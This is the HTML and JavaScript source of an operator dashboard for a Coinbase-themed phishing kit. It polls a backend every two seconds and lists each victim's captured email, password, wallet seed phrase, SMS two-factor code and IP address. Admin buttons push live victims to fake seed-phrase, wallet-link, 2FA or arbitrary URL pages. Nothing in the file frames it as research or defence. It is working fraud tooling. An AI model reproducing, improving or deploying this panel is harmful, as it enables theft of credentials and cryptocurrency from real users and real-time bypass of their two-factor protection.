<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" href="https://i.ibb.co/fMyq3Jv/demon.png" type="image/x-icon">
    <title>Dashboard</title>

    <!-- Bootstrap 5 CSS (for layout and responsiveness) -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-KyZXEJf1lg2AAA1E6J8dPM2K2GmzoaY4UwNMYFnEJffVb/ZK7QGRtA8Uzk3hV/mS" crossorigin="anonymous">

    <!-- Google Fonts for rounded font -->
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">

    <style>
        /* Base Dark Theme */
        body {
            margin: 0;
            padding: 0;
            background-color: #111120;
            color: #E0E0E0;
            font-family: 'CoinbaseSans', -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Helvetica", "Arial",
                sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
        }

        /* Header Styling *https://cdn.pfps.gg/banners/3974-cars.gif*/
        header {
            background-color: #182b99;
            background-size: cover;
            background-position: center center;
            background-repeat: no-repeat;
            height: 50px;
            /* Adjust height of header */
            color: white;
            display: flex;
            justify-content: center;
            align-items: center;
            text-align: center;
            padding: 20px;
            margin-bottom: 50px;
        }

        .text-box {
            background-color: rgba(0, 0, 0, 0.5);
            /* Black background with 50% opacity */
            padding: 20px;
            border-radius: 10px;
            /* Optional: rounds the corners of the box */
        }

        h1 {
            margin: 10px;
            /* Space between <h1> elements */
            font-size: 15px;
            background-color: rgba(0, 0, 0, 0.5);
            /* Black background with 50% opacity */
            padding: 10px;
            border-radius: 10px;
        }

        h2 {
            margin: 10px;
            /* Space between <h1> elements */
            font-size: 15px;
        }

        .table {
            background-color: #3d434a;
            border-radius: 10px;
            color: #ffffff;
            margin: 10px auto;
            /* This will center the table horizontally */
            border-collapse: collapse;
            /* Optional, for a cleaner look */
            width: 80%;
            /* Optional: Set table width */
            opacity: 1;
            /* No fading effect */
        }

        .table th,
        .table td {
            padding: 1rem;
            vertical-align: middle;
            border-radius: 5px;
            text-align: center;
        }

        .table th {
            background-color: #353436;
            color: white;
        }

        .table td {
            background-color: #444c54;
        }

        .table .btn {
            border-radius: 50px;
            font-size: 0.875rem;
            padding: 8px 15px;
        }

        /* Button Styling */
        .btn-blue {
            background: linear-gradient(135deg, #182b99, #2575fc);
            border: none;
            color: white;
            transition: background 0.3s ease, transform 0.2s ease;
            font-weight: 500;
        }

        .btn-blue:hover {
            background: linear-gradient(135deg, #2575fc, #182b99);
            transform: scale(1.05);
        }

        .btn-danger-custom {
            background-color: #dc3545;
            border: none;
            color: white;
            transition: background-color 0.3s ease;
        }

        .btn-danger-custom:hover {
            background-color: #c82333;
        }



        .btn-open {
            background-color: #0045da;
            color: white;
            padding: 15px 25px;
            border: none;
            border-radius: 10px;
            cursor: pointer;
            font-size: 16px;
            height: 50px;
        }

        .btn-open:hover {
            background-color: #182b99;
        }

        /* Modal Styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.7);
            justify-content: center;
            align-items: center;
            z-index: 1000;
            animation: fadeInModal 0.5s forwards;
        }

        /* New URL Modal */
        .url-modal .modal-content {
            width: 80%;
            max-width: 600px;
        }

        .url-modal .modal-content p {
            word-wrap: break-word;
            white-space: pre-wrap;
            max-width: 100%;
            overflow-wrap: break-word;
            font-size: 16px;
            padding: 10px;
        }

        .modal-content {
            background-color: #121212;
            padding: 30px;
            border-radius: 8px;
            display: flex;
            flex-direction: column;
            align-items: center;
            box-shadow: 0px 4px 8px rgba(0, 0, 0, 0.2);
        }

        .modal .btn-close {
            background-color: #7e2222;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            margin-top: 20px;
        }

        .modal .btn-close:hover {
            background-color: #440101;
        }

        .modal .btn-option {
            background-color: #0045da;
            color: white;
            padding: 12px 24px;
            border: none;
            border-radius: 10px;
            font-size: 16px;
            margin: 10px;
            cursor: pointer;
        }

        .modal .btn-option:hover {
            background-color: #182b99;
        }
        
        .modal .btn-danger-custom {
            background-color: #dc3545;
            color: white;
            padding: 12px 24px;
            border: none;
            border-radius: 10px;
            font-size: 16px;
            margin: 10px;
            cursor: pointer;
        }

        .modal .btn-danger-custom:hover {
            background-color: #c82333;
        }
        /* Modal Fade-In Animation */
        @keyframes fadeInModal {
            0% {
                opacity: 0;
            }

            100% {
                opacity: 1;
            }
        }

        /* Small screen adjustments */
        @media (max-width: 768px) {
            .table th,
            .table td {
                padding: 0.75rem;
            }

            .header h2 {
                font-size: 1.5rem;
            }

            .header h4 {
                font-size: 1.1rem;
            }
        }
    </style>
</head>

<body>

    <div class="container mt-5">
        <!-- Header Section -->
        <header>
            <img src="https://i.ibb.co/fMyq3Jv/demon.png" alt="Icon" width="50" height="50">
            <h1>Welcome Equalizer!</h1>
            <h2>Coinbase control panel</h2>
        </header>

        <!-- Sessions Table -->
        <table class="table table-striped">
            <thead>
                <tr>
                    <th>Email</th>
                    <th>Password</th>
                    <th>Seed Phrase</th>
                    <th>Sms code</th>
                    <th>Url</th>
                    <th>IP Address</th>
                    <th>Current Page</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody id="sessions-container">
                <!-- Sessions will be dynamically injected by JS -->
            </tbody>
        </table>
    </div>

    <!-- Modal for URL Display -->
    <div class="modal url-modal" id="url-modal">
        <div class="modal-content">
            <h3>Session URL</h3>
            <p id="session-url"></p>
            <button class="btn-close" onclick="closeModal('url-modal')">Close</button>
        </div>
    </div>
    <!-- Modal for Seed Phrase Display -->
    <div class="modal" id="seed-modal">
        <div class="modal-content">
            <h3>Session Seed Phrase</h3>
            <p id="session-seed"></p>
            <button class="btn-close" onclick="closeModal('seed-modal')">Close</button>
        </div>
    </div>

    <!-- Modal for Management Options -->
    <div class="modal" id="modal">
        <div class="modal-content">
            <form method="POST" action="/admin/redirect_to_linkwallet" class="d-inline">
                <input type="hidden" name="ssid" id="ssid-input-linkwallet">
                <button type="submit" class="btn-option">Redirect to link wallet</button>
            </form>
            <form method="POST" action="/admin/redirect_to_seed" class="d-inline">
                <input type="hidden" name="ssid" id="ssid-input-seed">
                <button type="submit" class="btn-option">Redirect to Seed</button>
            </form>
            <form method="POST" action="/admin/redirect_to_url" class="d-inline">
                <input type="hidden" name="ssid" id="ssid-input-url">
                <button type="submit" class="btn-option">Redirect to URL</button>
            </form>
            <form method="POST" action="/admin/redirect_to_sms" class="d-inline">
                <input type="hidden" name="ssid" id="ssid-input-sms">
                <button type="submit" class="btn-option">Redirect to 2FA</button>
            </form>

            <form method="POST" action="/admin/terminate_session" class="d-inline">
                <input type="hidden" name="ssid" id="ssid-input-terminate">
                <button type="submit" class="btn-danger-custom">Delete Session</button>
            </form>
            <button class="btn-close" onclick="closeModal('modal')">Close</button>
        </div>
    </div>

    <!-- Bootstrap 5 JS and Popper.js (for buttons and other functionality) -->
    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.10.2/dist/umd/popper.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.min.js"></script>

    <!-- Custom JS to fetch session data and update the dashboard -->
    <script>
        let isModalOpen = false;

        function openModal(ssid) {
            if (!isModalOpen) {
                document.getElementById('modal').style.display = 'flex';
                isModalOpen = true;

                document.getElementById('ssid-input-seed').value = ssid;
                document.getElementById('ssid-input-sms').value = ssid;
                document.getElementById('ssid-input-terminate').value = ssid;
                document.getElementById('ssid-input-url').value = ssid;
                document.getElementById('ssid-input-linkwallet').value = ssid;
            }
        }

        function openUrlModal(url) {
            document.getElementById('session-url').innerText = url;
            document.getElementById('url-modal').style.display = 'flex';
        }

        function closeModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
            isModalOpen = false;
        }
        function openSeedModal(seed) {
    document.getElementById('session-seed').innerText = seed;
    document.getElementById('seed-modal').style.display = 'flex';
}

        function fetchSessions() {
            fetch('/dashboard-data')
                .then(response => response.json())
                .then(data => {
                    const sessionsContainer = document.getElementById('sessions-container');
                    sessionsContainer.innerHTML = '';
                    
                    Object.entries(data).forEach(([ssid, sessionData]) => {
                        const rowHTML = `
                            <tr>
                                <td>${sessionData.email || 'not entered'}</td>
                                <td>${sessionData.password || 'not entered'}</td>
                                <td>
                                    <button class="btn-open" onclick="openSeedModal('Seed phrase:  ${sessionData.seed || 'not entered'}')">View</button>
                                </td>
                                <td>${sessionData.sms_code || 'not entered'}</td> 
                                <td><button class="btn-open" onclick="openUrlModal('URL:  ${sessionData.verification_url || 'not entered'}')">View</button></td> 
                                <td>${sessionData.ip_address}</td>
                                <td>${sessionData.current_page}</td>
                                <td><button class="btn-open" onclick="openModal('${ssid}')">Manage</button></td>
                            </tr>
                        `;
                        sessionsContainer.innerHTML += rowHTML;
                    });
                })
                .catch(error => console.error('Error fetching session data:', error));
        }

        // Fetch sessions when the page loads
        window.onload = function () {
            fetchSessions();
            setInterval(fetchSessions, 2000);
        };
    </script>

</body>

</html>
